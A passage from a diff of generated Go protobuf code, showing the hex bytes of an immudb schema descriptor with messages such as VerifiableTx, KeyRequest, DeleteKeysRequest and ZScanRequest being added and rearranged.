0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, + 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xa5, 0x01, + 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, + 0x12, 0x21, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, + 0x02, 0x74, 0x78, 0x12, 0x38, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x56, 0x32, 0x52, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, + 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, + 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, + 0x65, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, + 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, + 0x0e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x12, 0x0a, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, + 0x65, 0x61, 0x66, 0x12, 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, + 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, + 0x92, 0x01, 0x0a, 0x0a, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, + 0x0a, 0x03, 0x4b, 0x56, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, - 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, - 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, - 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, - 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, - 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, - 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, + 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, + 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, + 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, + 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, + 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, + 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, + 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, + 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, + 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x2e, 0x0a, 0x12, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, + 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, + 0x74, 0x75, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, + 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x73, 0x12, 0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, + 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, + 0x64, 0x62, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, + 0x74, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, + 0x12, 0x16, 0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, + 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x54, 0x78, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, + 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, + 0x73, 0x68, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, + 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, + 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x64, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, + 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, + 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, + 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, + 0x74, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, + 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, + 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, + 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, + 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, + 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, + 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, - 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, - 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, - 0x65, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, - 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, - 0x65, 0x6b, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, - 0x6b, 0x4b, 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, - 0x72, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, - 0x0a, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 